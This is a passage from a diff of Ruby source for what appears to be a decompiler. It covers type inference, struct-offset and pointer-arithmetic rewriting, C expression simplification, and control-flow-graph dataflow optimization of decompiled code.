incl unknown offsets + varat = lambda { |n| + v = scope.symbol[n] + if s = memb[v.stackoff] + v = C::CExpression[s[0], :'.', s[1], s[2]] + else + v.type = types[n] || C::BaseType.new(:int) + end + v + } + + maycast = lambda { |v, e| + if sizeof(v) != sizeof(e) + v = C::CExpression[:*, [[:&, v], C::Pointer.new(e.type)]] + end + v + } + maycast_p = lambda { |v, e| + if not e.type.pointer? or sizeof(v) != sizeof(nil, e.type.pointed) + C::CExpression[[:&, v], e.type] + else + C::CExpression[:&, v] + end + } + + walk_ce(scope, true) { |ce| + case + when ce.op == :funcall + ce.rexpr.map! { |re| + if o = scopevar[re]; C::CExpression[maycast[varat[o], re]] + elsif o = pscopevar[re]; C::CExpression[maycast_p[varat[o], re]] + else re + end + } + when o = scopevar[ce.lexpr]; ce.lexpr = maycast[varat[o], ce.lexpr] + when o = scopevar[ce.rexpr]; ce.rexpr = maycast[varat[o], ce.rexpr] + ce.rexpr = C::CExpression[ce.rexpr] if not ce.op and ce.rexpr.kind_of? C::Variable + when o = pscopevar[ce.lexpr]; ce.lexpr = maycast_p[varat[o], ce.lexpr] + when o = pscopevar[ce.rexpr]; ce.rexpr = maycast_p[varat[o], ce.rexpr] + when o = scopevar[ce]; ce.replace C::CExpression[maycast[varat[o], ce]] + when o = pscopevar[ce]; ce.replace C::CExpression[maycast_p[varat[o], ce]] + end + } + + fix_type_overlap(scope) + fix_pointer_arithmetic(scope) + + # if int32 var_4 is always var_4 & 255, change type to int8 + varuse = Hash.new(0) + varandff = Hash.new(0) + varandffff = Hash.new(0) + walk_ce(scope) { |ce| + if ce.op == :& and ce.lexpr.kind_of? C::Variable and ce.lexpr.type.integral? and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr.kind_of? ::Integer + case ce.rexpr.rexpr + when 0xff; varandff[ce.lexpr.name] += 1 + when 0xffff; varandffff[ce.lexpr.name] += 1 + end + end + varuse[ce.lexpr.name] += 1 if ce.lexpr.kind_of? C::Variable + varuse[ce.rexpr.name] += 1 if ce.rexpr.kind_of? C::Variable + } + varandff.each { |k, v| + scope.symbol[k].type = C::BaseType.new(:__int8, :unsigned) if varuse[k] == v + } + varandffff.each { |k, v| + scope.symbol[k].type = C::BaseType.new(:__int16, :unsigned) if varuse[k] == v + } + + # propagate types to cexprs + walk_ce(scope, true) { |ce| + if ce.op + ce.type = C::CExpression[ce.lexpr, ce.op, ce.rexpr].type rescue next + if ce.op == :'=' and ce.rexpr.kind_of? C::Typed and ce.rexpr.type != ce.type and (not ce.rexpr.type.integral? or not ce.type.integral?) + known_type[ce.rexpr, ce.type] if ce.type.pointer? and ce.type.pointed.untypedef.kind_of? C::Function # localvar = &struct with fptr + ce.rexpr = C::CExpression[[ce.rexpr], ce.type] + end + elsif ce.type.pointer? and ce.rexpr.kind_of? C::CExpression and ce.rexpr.op == :& and not ce.rexpr.lexpr and sizeof(ce.rexpr.rexpr.type) == sizeof(ce.type.pointed) + ce.type = ce.rexpr.type + end + } + end + + # struct foo { int i; int j; struct { int k; int l; } m; }; bla+12 => &bla->m.l + # st is a struct, ptr is an expr pointing to a struct, off is a numeric offset from ptr, msz is the size of the pointed member (nil ignored) + def structoffset(st, ptr, off, msz) + tabidx = off / sizeof(st) + off -= tabidx * sizeof(st) + ptr = C::CExpression[:&, [ptr, :'[]', [tabidx]]] if tabidx != 0 or ptr.type.untypedef.kind_of? C::Array + return ptr if off == 0 and (not msz or # avoid infinite recursion with eg chained list + (ptr.kind_of? C::CExpression and ((ptr.op == :& and not ptr.lexpr and s=ptr.rexpr) or (ptr.op == :'.' and s=ptr)) and + not s.type.untypedef.kind_of? C::Union)) + + m_ptr = lambda { |m| + if ptr.kind_of? C::CExpression and ptr.op == :& and not ptr.lexpr + C::CExpression[ptr.rexpr, :'.', m.name] + else + C::CExpression[ptr, :'->', m.name] + end + } + + # recursive proc to list all named members, including in anonymous substructs + submemb = lambda { |sm| sm.name ? sm : sm.type.kind_of?(C::Union) ? sm.type.members.to_a.map { |ssm| submemb[ssm] } : nil } + mbs = st.members.to_a.map { |m| submemb[m] }.flatten.compact + mo = mbs.inject({}) { |h, m| h.update m => st.offsetof(@c_parser, m.name) } + + if sm = mbs.find { |m| mo[m] == off and (not msz or sizeof(m) == msz) } || + mbs.find { |m| mo[m] <= off and mo[m]+sizeof(m) > off } + off -= mo[sm] + sst = sm.type.untypedef + #return ptr if mo[sm] == 0 and sst.pointer? and sst.type.untypedef == st # TODO fix infinite recursion on mutually recursive ptrs + ptr = C::CExpression[:&, m_ptr[sm]] + if sst.kind_of? C::Union + return structoffset(sst, ptr, off, msz) + end + end + + if off != 0 + C::CExpression[[[ptr], C::Pointer.new(C::BaseType.new(:__int8))], :+, [off]] + else + ptr + end + end + + # fix pointer arithmetic (eg int foo += 4 => int* foo += 1) + # use struct member access (eg *(structptr+8) => structptr->bla) + # must be run only once, right after type setting + def fix_pointer_arithmetic(scope) + walk_ce(scope, true) { |ce| + if ce.lexpr and ce.lexpr.type.pointer? and [:&, :>>, :<<].include? ce.op + ce.lexpr = C::CExpression[[ce.lexpr], C::BaseType.new(:int)] + end + + if ce.op == :+ and ce.lexpr and ((ce.lexpr.type.integral? and ce.rexpr.type.pointer?) or (ce.rexpr.type.pointer? and ce.rexpr.type.pointed.untypedef.kind_of? C::Union)) + ce.rexpr, ce.lexpr = ce.lexpr, ce.rexpr + end + + if ce.op == :* and not ce.lexpr and ce.rexpr.type.pointer? and ce.rexpr.type.pointed.untypedef.kind_of? C::Struct + s = ce.rexpr.type.pointed.untypedef + m = s.members.to_a.find { |m_| s.offsetof(@c_parser, m_.name) == 0 } + if sizeof(m) != sizeof(ce) + ce.rexpr = C::CExpression[[ce.rexpr, C::Pointer.new(s)], C::Pointer.new(ce.type)] + next + end + # *structptr => structptr->member + ce.lexpr = ce.rexpr + ce.op = :'->' + ce.rexpr = m.name + ce.type = m.type + next + elsif ce.op == :'=' and ce.lexpr.type.untypedef.kind_of? C::Struct + s = ce.lexpr.type.untypedef + m = s.members.to_a.find { |m_| s.offsetof(@c_parser, m_.name) == 0 } + ce.lexpr = C::CExpression.new(ce.lexpr, :'.', m.name, m.type) + ce.type = m.type + next + end + + if ce.op == :+ and ce.lexpr and ce.lexpr.type.pointer? and not ce.type.pointer? + ce.type = ce.lexpr.type + end + + if ce.op == :& and not ce.lexpr and ce.rexpr.kind_of? C::CExpression and ce.rexpr.op == :* and not ce.rexpr.lexpr + ce.replace C::CExpression[ce.rexpr.rexpr] + end + + next if not ce.lexpr or not ce.lexpr.type.pointer? + if ce.op == :+ and (s = ce.lexpr.type.pointed.untypedef).kind_of? C::Union and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and + ce.rexpr.rexpr.kind_of? ::Integer and o = ce.rexpr.rexpr + # structptr + 4 => &structptr->member + ce.replace structoffset(s, ce.lexpr, o, nil) + elsif [:+, :-, :'+=', :'-='].include? ce.op and ce.rexpr.kind_of? C::CExpression and ((not ce.rexpr.op and i = ce.rexpr.rexpr) or + (ce.rexpr.op == :* and i = ce.rexpr.lexpr and ((i.kind_of? C::CExpression and not i.op and i = i.rexpr) or true))) and + i.kind_of? ::Integer and psz = sizeof(nil, ce.lexpr.type.pointed) and i % psz == 0 + # ptr += 4 => ptr += 1 + if not ce.rexpr.op + ce.rexpr.rexpr /= psz + else + ce.rexpr.lexpr.rexpr /= psz + if ce.rexpr.lexpr.rexpr == 1 + ce.rexpr = ce.rexpr.rexpr + end + end + ce.type = ce.lexpr.type + + elsif (ce.op == :+ or ce.op == :-) and sizeof(nil, ce.lexpr.type.pointed) != 1 + # ptr+x => (ptrtype*)(((__int8*)ptr)+x) + # XXX create struct ? + ce.rexpr = C::CExpression[ce.rexpr, C::BaseType.new(:int)] if not ce.rexpr.type.integral? + if sizeof(nil, ce.lexpr.type.pointed) != 1 + ptype = ce.lexpr.type + p = C::CExpression[[ce.lexpr], C::Pointer.new(C::BaseType.new(:__int8))] + ce.replace C::CExpression[[p, ce.op, ce.rexpr, p.type], ptype] + end + end + } + end + + # handling of var overlapping (eg __int32 var_10; __int8 var_F => replace all var_F by *(&var_10 + 1)) + # must be done before fix_pointer_arithmetic + def fix_type_overlap(scope) + varinfo = {} + scope.symbol.each_value { |var| + next if not off = var.stackoff + len = sizeof(var) + varinfo[var] = [off, len] + } + + varinfo.each { |v1, (o1, l1)| + next if not v1.type.integral? + varinfo.each { |v2, (o2, l2)| + # XXX o1 may overlap o2 AND another (int32 v_10; int32 v_E; int32 v_C;) + # TODO should check stuff with aliasing domains + next if v1.name == v2.name or o1 >= o2+l2 or o1+l1 <= o2 or l1 > l2 or (l2 == l1 and o2 >= o1) + # v1 => *(&v2+delta) + p = C::CExpression[:&, v2] + p = C::CExpression[p, :+, [o1-o2]] + p = C::CExpression[p, C::Pointer.new(v1.type)] if v1.type != p.type.type + p = C::CExpression[:*, p] + walk_ce(scope) { |ce| + ce.lexpr = p if ce.lexpr == v1 + ce.rexpr = p if ce.rexpr == v1 + } + } + + } + end + + # to be run with scope = function body with only CExpr/Decl/Label/Goto/IfGoto/Return, with correct variables types + # will transform += 1 to ++, inline them to prev/next statement ('++x; if (x)..' => 'if (++x)..') # remove useless variables ('int i;', i never used or 'i = 1; j = i;', i never read after => 'j = 1;') - # remove useless casts ('(int)i' with 'int i;' => 'i') - def optimize(scope) - optimize_code(scope) - optimize_vars(scope) - optimize_vars(scope) # 1st run may transform i = i+1 into i++ which second run may coalesce into if(i) - end - - # simplify cexpressions (char & 255, redundant casts, etc) - def optimize_code(scope) - return if forbid_optimize_code - - sametype = lambda { |t1, t2| - t1 = t1.untypedef - t2 = t2.untypedef - t1 = t1.pointed.untypedef if t1.pointer? and t1.pointed.untypedef.kind_of? C::Function - t2 = t2.pointed.untypedef if t2.pointer? and t2.pointed.untypedef.kind_of? C::Function - t1 == t2 or - (t1.kind_of? C::Function and t2.kind_of? C::Function and sametype[t1.type, t2.type] and t1.args.to_a.length == t2.args.to_a.length and - t1.args.to_a.zip(t2.args.to_a).all? { |st1, st2| sametype[st1.type, st2.type] }) or - (t1.kind_of? C::BaseType and t1.integral? and t2.kind_of? C::BaseType and t2.integral? and sizeof(nil, t1) == sizeof(nil, t2)) or - (t1.pointer? and t2.pointer? and sametype[t1.type, t2.type]) - } - - # most of this is a CExpr#reduce - future_array = [] - walk_ce(scope, true) { |ce| - # (whatever)0 => 0 - if not ce.op and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == 0 - ce.replace ce.rexpr - end - - # *&bla => bla if types ok - if ce.op == :* and not ce.lexpr and ce.rexpr.kind_of? C::CExpression and ce.rexpr.op == :& and not ce.rexpr.lexpr and sametype[ce.rexpr.type.pointed, ce.rexpr.rexpr.type] - ce.replace C::CExpression[ce.rexpr.rexpr] - end - - # int x + 0xffffffff -> x-1 - if ce.lexpr and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and [:+, :-, :'+=', :'-=', :'!=', :==, :>, :<, :>=, :<=].include? ce.op and - ce.rexpr.rexpr == (1 << (8*sizeof(ce.lexpr)))-1 - ce.op = {:+ => :-, :- => :+, :'+=' => :'-=', :'-=' => :'+='}[ce.op] - ce.rexpr.rexpr = 1 - end - - # int *ptr; *(ptr + 4) => ptr[4] - if ce.op == :* and not ce.lexpr and ce.rexpr.kind_of? C::CExpression and ce.rexpr.op == :+ and var = ce.rexpr.lexpr and var.kind_of? C::Variable and var.type.pointer? - ce.lexpr, ce.op, ce.rexpr = ce.rexpr.lexpr, :'[]', ce.rexpr.rexpr - future_array << var.name - end - - # char x; x & 255 => x - if ce.op == :& and ce.lexpr and (ce.lexpr.type.integral? or ce.lexpr.type.pointer?) and ce.rexpr.kind_of? C::CExpression and - not ce.rexpr.op and ce.rexpr.rexpr.kind_of? ::Integer and m = (1 << (8*sizeof(ce.lexpr))) - 1 and - ce.rexpr.rexpr & m == m - ce.replace C::CExpression[ce.lexpr] - end - - # a + -b => a - b - if ce.op == :+ and ce.lexpr and ce.rexpr.kind_of? C::CExpression and ce.rexpr.op == :- and not ce.rexpr.lexpr - ce.op, ce.rexpr = :-, ce.rexpr.rexpr - end - - # (((int) i >> 31) & 1) => i < 0 - if ce.op == :& and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == 1 and - ce.lexpr.kind_of? C::CExpression and ce.lexpr.op == :>> and ce.lexpr.rexpr.kind_of? C::CExpression and - not ce.lexpr.rexpr.op and ce.lexpr.rexpr.rexpr == sizeof(ce.lexpr.lexpr) * 8 - 1 - ce.replace C::CExpression[ce.lexpr.lexpr, :<, [0]] - end - - # a-b == 0 => a == b - if ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == 0 and [:==, :'!=', :<, :>, :<=, :>=].include? ce.op and - ce.lexpr.kind_of? C::CExpression and ce.lexpr.op == :- and ce.lexpr.lexpr - ce.lexpr, ce.rexpr = ce.lexpr.lexpr, ce.lexpr.rexpr - end - - # (a > 0) != 0 - if ce.op == :'!=' and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == 0 and ce.lexpr.kind_of? C::CExpression and - [:<, :<=, :>, :>=, :'==', :'!=', :'!'].include? ce.lexpr.op - ce.replace ce.lexpr - end - - # (a < b) != ( [(a < 0) == !(b < 0)] && [(a < 0) != (a < b)] ) => jl - # a true if !r => a<0 == b<0 or a>=0 => a>=0 or b>=0 - # a>=b => true if r => a<0 == b>=0 and a<0 => a<0 and b>=0 - - # x != (a && (b != x)) => [x && (!a || b)] || [!x && !(!a || b)] - if ce.op == :'!=' and ce.lexpr.kind_of? C::CExpression and ce.lexpr.op == :< and ce.rexpr.kind_of? C::CExpression and - ce.rexpr.op == :'&&' and ce.rexpr.rexpr.kind_of? C::CExpression and ce.rexpr.rexpr.op == :'!=' and - ce.rexpr.rexpr.rexpr == ce.lexpr and not walk_ce(ce) { |ce_| break true if ce_.op == :funcall } - x, a, b = ce.lexpr, ce.rexpr.lexpr, ce.rexpr.rexpr.lexpr - ce.replace C::CExpression[ [x, :'&&', [[:'!',a],:'||',b]] , :'||', [[:'!', x], :'&&', [:'!', [[:'!',a],:'||',b]]] ] - optimize_code(ce) - end - # (a != b) || a => a || b - if ce.op == :'||' and ce.lexpr.kind_of? C::CExpression and ce.lexpr.op == :'!=' and ce.lexpr.lexpr == ce.rexpr and not walk_ce(ce) { |ce_| break true if ce_.op == :funcall } - ce.lexpr, ce.rexpr = ce.rexpr, ce.lexpr.rexpr - optimize_code(ce) - end - # (a=0 && b<0) || (a>=b) && (a>=0 && b<0) => (signed)a < (signed)b - if ce.op == :'||' and ce.lexpr.kind_of? C::CExpression and ce.rexpr.kind_of? C::CExpression and ce.lexpr.op == :'&&' and ce.rexpr.op == :'&&' and - ce.lexpr.lexpr.kind_of? C::CExpression and ce.lexpr.lexpr.op == :< - a, b = ce.lexpr.lexpr.lexpr, ce.lexpr.lexpr.rexpr - if ce.lexpr.rexpr === C::CExpression[[a, :'>=', [0]], :'&&', [b, :'<', [0]]].negate and - ce.rexpr.lexpr === ce.lexpr.lexpr.negate and ce.rexpr.rexpr === ce.lexpr.rexpr.negate - ce.replace C::CExpression[a, :'<', b] - end - end - # a && 1 - if (ce.op == :'||' or ce.op == :'&&') and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr.kind_of? ::Integer - if ((ce.op == :'||' and ce.rexpr.rexpr == 0) or (ce.op == :'&&' and ce.rexpr.rexpr != 0)) - ce.replace C::CExpression[ce.lexpr] - elsif not walk_ce(ce) { |ce_| break true if ce.op == :funcall } # cannot wipe if sideeffect - ce.replace C::CExpression[[ce.op == :'||' ? 1 : 0]] - end - end - # (b < c || b >= c) - if (ce.op == :'||' or ce.op == :'&&') and C::CExpression.negate(ce.lexpr) == C::CExpression[ce.rexpr] - ce.replace C::CExpression[[(ce.op == :'||') ? 1 : 0]] - end - - # (a < b) | (a == b) => a <= b - if ce.op == :| and ce.rexpr.kind_of? C::CExpression and ce.rexpr.op == :== and ce.lexpr.kind_of? C::CExpression and - (ce.lexpr.op == :< or ce.lexpr.op == :>) and ce.lexpr.lexpr == ce.rexpr.lexpr and ce.lexpr.rexpr == ce.rexpr.rexpr - ce.op = {:< => :<=, :> => :>=}[ce.lexpr.op] - ce.lexpr, ce.rexpr = ce.lexpr.lexpr, ce.lexpr.rexpr - end - - # a == 0 => !a - if ce.op == :== and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == 0 - ce.lexpr, ce.op, ce.rexpr = nil, :'!', ce.lexpr - end - - if ce.op == :'!' and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr.kind_of? ::Integer - ce.replace C::CExpression[[ce.rexpr.rexpr == 0 ? 1 : 0]] - end - - # !(bool) => bool - if ce.op == :'!' and ce.rexpr.kind_of? C::CExpression and [:'==', :'!=', :<, :>, :<=, :>=, :'||', :'&&', :'!'].include? ce.rexpr.op - ce.replace ce.rexpr.negate - end - - # (foo)(bar)x => (foo)x - if not ce.op and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr.kind_of? C::CExpression - ce.rexpr = ce.rexpr.rexpr - end - - # &struct.1stmember => &struct - if ce.op == :& and not ce.lexpr and ce.rexpr.kind_of? C::CExpression and ce.rexpr.op == :'.' and s = ce.rexpr.lexpr.type and - s.kind_of? C::Union and s.offsetof(@c_parser, ce.rexpr.rexpr) == 0 - ce.rexpr = ce.rexpr.lexpr - ce.type = C::Pointer.new(ce.rexpr.type) - end - - # (1stmember*)structptr => &structptr->1stmember - if not ce.op and ce.type.pointer? and not ce.type.pointed.void? and ce.rexpr.kind_of? C::Typed and ce.rexpr.type.pointer? and - s = ce.rexpr.type.pointed.untypedef and s.kind_of? C::Union and ce.type.pointed.untypedef != s - ce.rexpr = C::CExpression[structoffset(s, ce.rexpr, 0, sizeof(ce.type.pointed))] - #ce.replace ce.rexpr if not ce.type.pointed.untypedef.kind_of? C::Function or (ce.rexpr.type.pointer? and - #ce.rexpr.type.pointed.untypedef.kind_of? C::Function) # XXX ugly - # int32* v1 = (int32*)pstruct; - # z = v1+4 if v1 is not cast, the + is invalid (sizeof pointed changes) - # TODO when finding type of pstruct, set type of v1 accordingly - end - - # (&foo)->bar => foo.bar - if ce.op == :'->' and ce.lexpr.kind_of? C::CExpression and ce.lexpr.op == :& and not ce.lexpr.lexpr - ce.lexpr = ce.lexpr.rexpr - ce.op = :'.' - end - - # (foo)bla => bla if bla of type foo - if not ce.op and ce.rexpr.kind_of? C::Typed and sametype[ce.type, ce.rexpr.type] - ce.replace C::CExpression[ce.rexpr] - end - if ce.lexpr.kind_of? C::CExpression and not ce.lexpr.op and ce.lexpr.rexpr.kind_of? C::Variable and ce.lexpr.type == ce.lexpr.rexpr.type - ce.lexpr = ce.lexpr.rexpr - end - - if ce.op == :'=' and ce.lexpr.kind_of? C::CExpression and ce.lexpr.op == :* and not ce.lexpr.lexpr and ce.lexpr.rexpr.kind_of? C::CExpression and - not ce.lexpr.rexpr.op and ce.lexpr.rexpr.type.pointer? and ce.lexpr.rexpr.type.pointed != ce.rexpr.type - ce.lexpr.rexpr.type = C::Pointer.new(ce.rexpr.type) - optimize_code(ce.lexpr) - end - } - - # if there is a ptr[4], change all *ptr to ptr[0] for consistency - # do this after the first pass, which may change &*ptr to ptr - walk_ce(scope) { |ce| - if ce.op == :* and not ce.lexpr and ce.rexpr.kind_of? C::Variable and future_array.include? ce.rexpr.name - ce.lexpr, ce.op, ce.rexpr = ce.rexpr, :'[]', C::CExpression[0] - end - } if not future_array.empty? - - # if (x != 0) => if (x) - walk(scope) { |st| - if st.kind_of? C::If and st.test.kind_of? C::CExpression and st.test.op == :'!=' and - st.test.rexpr.kind_of? C::CExpression and not st.test.rexpr.op and st.test.rexpr.rexpr == 0 - st.test = C::CExpression[st.test.lexpr] - end - } - end - - # checks if an expr has sideeffects (funcall, var assignment, mem dereference, use var out of scope if specified) - def sideeffect(exp, scope=nil) - case exp - when nil, ::Numeric, ::String; false - when ::Array; exp.any? { |_e| sideeffect _e, scope } - when C::Variable; (scope and not scope.symbol[exp.name]) or exp.type.qualifier.to_a.include? :volatile - when C::CExpression; (exp.op == :* and not exp.lexpr) or exp.op == :funcall or AssignOp.include?(exp.op) or - sideeffect(exp.lexpr, scope) or sideeffect(exp.rexpr, scope) - else true # failsafe - end - end - - # converts C code to a graph of cexprs (nodes = cexprs, edges = codepaths) - # returns a CGraph - class CGraph - # exprs: label => [exprs], to: label => [labels], block: label => are exprs standalone (vs If#test), start: 1st label - attr_accessor :exprs, :to, :block, :start, :to_optim, :from_optim - end - def c_to_graph(st) - g = CGraph.new - g.exprs = {} # label => [exprs] - g.to = {} # label => [labels] - g.block = {} # label => is label in a block? (vs If#test) - anon_label = 0 # when no label is there, use anon_label++ - # converts C code to a graph of codepath of cexprs - to_graph = lambda { |stmt, l_cur, l_after, l_cont, l_break| - case stmt - when C::Label; g.to[l_cur] = [stmt.name] ; g.to[stmt.name] = [l_after] - when C::Goto; g.to[l_cur] = [stmt.target] - when C::Continue; g.to[l_cur] = [l_cont] - when C::Break; g.to[l_cur] = [l_break] - when C::CExpression - g.exprs[l_cur] = [stmt] - g.to[l_cur] = [l_after] - when C::Return - g.exprs[l_cur] = [stmt.value] if stmt.value - g.to[l_cur] = [] - when C::Block - to_graph[stmt.statements, l_cur, l_after, l_cont, l_break] - when ::Array - g.exprs[l_cur] = [] - g.block[l_cur] = true - stmt.each_with_index { |s, i| - case s - when C::Declaration - when C::CExpression - g.exprs[l_cur] << s - else - l = anon_label += 1 - ll = anon_label += 1 - g.to[l_cur] = [l] - g.block[l_cur] = true - to_graph[stmt[i], l, ll, l_cont, l_break] - l_cur = ll - g.exprs[l_cur] = [] - end - } - g.to[l_cur] = [l_after].compact - when C::If - g.exprs[l_cur] = [stmt.test] - lt = anon_label += 1 - to_graph[stmt.bthen, lt, l_after, l_cont, l_break] - le = anon_label += 1 - to_graph[stmt.belse, le, l_after, l_cont, l_break] - g.to[l_cur] = [lt, le] - when C::While, C::DoWhile - la = anon_label += 1 - if stmt.kind_of? C::DoWhile - lt, lb = la, l_cur - else - lt, lb = l_cur, la - end - g.exprs[lt] = [stmt.test] - g.to[lt] = [lb, l_after] - to_graph[stmt.body, lb, lt, lt, l_after] - when C::Asm, nil; g.to[l_cur] = [l_after] - else puts "to_graph unhandled #{stmt.class}: #{stmt}" if $VERBOSE - end - } - - g.start = anon_label - to_graph[st, g.start, nil, nil, nil] - - # optimize graph - g.to_optim = {} - g.to.each { |k, v| g.to_optim[k] = v.uniq } - g.exprs.delete_if { |k, v| v == [] } - g.to_optim.delete_if { |k, v| - if v.length == 1 and not g.exprs[k] and v != [k] - g.to_optim.each_value { |t| if i = t.index(k) ; t[i] = v.first ; end } - true - elsif v.length == 0 and not g.exprs[k] - g.to_optim.each_value { |t| t.delete k } - true - end - } - - g.from_optim = {} - g.to_optim.each { |k, v| v.each { |t| (g.from_optim[t] ||= []) << k } } - - g - end - - # dataflow optimization - # condenses expressions (++x; if (x) => if (++x)) - # remove local var assignment (x = 1; f(x); x = 2; g(x); => f(1); g(2); etc) - def optimize_vars(scope) - return if forbid_optimize_dataflow - - g = c_to_graph(scope) - - # walks a cexpr in evaluation order (not strictly, but this is not strictly defined anyway..) - # returns the first subexpr to read var in ce - # returns :write if var is rewritten - # returns nil if var not read - # may return a cexpr var += 2 - find_next_read_ce = lambda { |ce_, var| - walk_ce(ce_, true) { |ce| - case ce.op - when :funcall - break ce if ce.lexpr == var or ce.rexpr.find { |a| a == var } - when :'=' - # a=a / a=a+1 => yield a, not :write - break ce if ce.rexpr == var - break :write if ce.lexpr == var - else - break ce if ce.lexpr == var or ce.rexpr == var - end - } - } - - # badlabels is a list of labels that may be reached without passing through the first invocation block - find_next_read_rec = lambda { |label, idx, var, done, badlabels| - next if done.include? label - done << label if idx == 0 - - idx += 1 while ce = g.exprs[label].to_a[idx] and not ret = find_next_read_ce[ce, var] - next ret if ret - - to = g.to_optim[label].to_a.map { |t| - break [:split] if badlabels.include? t - find_next_read_rec[t, 0, var, done, badlabels] - }.compact - - tw = to - [:write] + # remove useless casts ('(int)i' with 'int i;' => 'i') + def optimize(scope) + optimize_code(scope) + optimize_vars(scope) + optimize_vars(scope) # 1st run may transform i = i+1 into i++ which second run may coalesce into if(i) + end + + # simplify cexpressions (char & 255, redundant casts, etc) + def optimize_code(scope) + return if forbid_optimize_code + + sametype = lambda { |t1, t2| + t1 = t1.untypedef + t2 = t2.untypedef + t1 = t1.pointed.untypedef if t1.pointer? and t1.pointed.untypedef.kind_of? C::Function + t2 = t2.pointed.untypedef if t2.pointer? and t2.pointed.untypedef.kind_of? C::Function + t1 == t2 or + (t1.kind_of? C::Function and t2.kind_of? C::Function and sametype[t1.type, t2.type] and t1.args.to_a.length == t2.args.to_a.length and + t1.args.to_a.zip(t2.args.to_a).all? { |st1, st2| sametype[st1.type, st2.type] }) or + (t1.kind_of? C::BaseType and t1.integral? and t2.kind_of? C::BaseType and t2.integral? and sizeof(nil, t1) == sizeof(nil, t2)) or + (t1.pointer? and t2.pointer? and sametype[t1.type, t2.type]) + } + + # most of this is a CExpr#reduce + future_array = [] + walk_ce(scope, true) { |ce| + # (whatever)0 => 0 + if not ce.op and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == 0 + ce.replace ce.rexpr + end + + # *&bla => bla if types ok + if ce.op == :* and not ce.lexpr and ce.rexpr.kind_of? C::CExpression and ce.rexpr.op == :& and not ce.rexpr.lexpr and sametype[ce.rexpr.type.pointed, ce.rexpr.rexpr.type] + ce.replace C::CExpression[ce.rexpr.rexpr] + end + + # int x + 0xffffffff -> x-1 + if ce.lexpr and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and [:+, :-, :'+=', :'-=', :'!=', :==, :>, :<, :>=, :<=].include? ce.op and + ce.rexpr.rexpr == (1 << (8*sizeof(ce.lexpr)))-1 + ce.op = {:+ => :-, :- => :+, :'+=' => :'-=', :'-=' => :'+='}[ce.op] + ce.rexpr.rexpr = 1 + end + + # int *ptr; *(ptr + 4) => ptr[4] + if ce.op == :* and not ce.lexpr and ce.rexpr.kind_of? C::CExpression and ce.rexpr.op == :+ and var = ce.rexpr.lexpr and var.kind_of? C::Variable and var.type.pointer? + ce.lexpr, ce.op, ce.rexpr = ce.rexpr.lexpr, :'[]', ce.rexpr.rexpr + future_array << var.name + end + + # char x; x & 255 => x + if ce.op == :& and ce.lexpr and (ce.lexpr.type.integral? or ce.lexpr.type.pointer?) and ce.rexpr.kind_of? C::CExpression and + not ce.rexpr.op and ce.rexpr.rexpr.kind_of? ::Integer and m = (1 << (8*sizeof(ce.lexpr))) - 1 and + ce.rexpr.rexpr & m == m + ce.replace C::CExpression[ce.lexpr] + end + + # a + -b => a - b + if ce.op == :+ and ce.lexpr and ce.rexpr.kind_of? C::CExpression and ce.rexpr.op == :- and not ce.rexpr.lexpr + ce.op, ce.rexpr = :-, ce.rexpr.rexpr + end + + # (((int) i >> 31) & 1) => i < 0 + if ce.op == :& and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == 1 and + ce.lexpr.kind_of? C::CExpression and ce.lexpr.op == :>> and ce.lexpr.rexpr.kind_of? C::CExpression and + not ce.lexpr.rexpr.op and ce.lexpr.rexpr.rexpr == sizeof(ce.lexpr.lexpr) * 8 - 1 + ce.replace C::CExpression[ce.lexpr.lexpr, :<, [0]] + end + + # a-b == 0 => a == b + if ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == 0 and [:==, :'!=', :<, :>, :<=, :>=].include? ce.op and + ce.lexpr.kind_of? C::CExpression and ce.lexpr.op == :- and ce.lexpr.lexpr + ce.lexpr, ce.rexpr = ce.lexpr.lexpr, ce.lexpr.rexpr + end + + # (a > 0) != 0 + if ce.op == :'!=' and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == 0 and ce.lexpr.kind_of? C::CExpression and + [:<, :<=, :>, :>=, :'==', :'!=', :'!'].include? ce.lexpr.op + ce.replace ce.lexpr + end + + # (a < b) != ( [(a < 0) == !(b < 0)] && [(a < 0) != (a < b)] ) => jl + # a true if !r => a<0 == b<0 or a>=0 => a>=0 or b>=0 + # a>=b => true if r => a<0 == b>=0 and a<0 => a<0 and b>=0 + + # x != (a && (b != x)) => [x && (!a || b)] || [!x && !(!a || b)] + if ce.op == :'!=' and ce.lexpr.kind_of? C::CExpression and ce.lexpr.op == :< and ce.rexpr.kind_of? C::CExpression and + ce.rexpr.op == :'&&' and ce.rexpr.rexpr.kind_of? C::CExpression and ce.rexpr.rexpr.op == :'!=' and + ce.rexpr.rexpr.rexpr == ce.lexpr and not walk_ce(ce) { |ce_| break true if ce_.op == :funcall } + x, a, b = ce.lexpr, ce.rexpr.lexpr, ce.rexpr.rexpr.lexpr + ce.replace C::CExpression[ [x, :'&&', [[:'!',a],:'||',b]] , :'||', [[:'!', x], :'&&', [:'!', [[:'!',a],:'||',b]]] ] + optimize_code(ce) + end + # (a != b) || a => a || b + if ce.op == :'||' and ce.lexpr.kind_of? C::CExpression and ce.lexpr.op == :'!=' and ce.lexpr.lexpr == ce.rexpr and not walk_ce(ce) { |ce_| break true if ce_.op == :funcall } + ce.lexpr, ce.rexpr = ce.rexpr, ce.lexpr.rexpr + optimize_code(ce) + end + # (a=0 && b<0) || (a>=b) && (a>=0 && b<0) => (signed)a < (signed)b + if ce.op == :'||' and ce.lexpr.kind_of? C::CExpression and 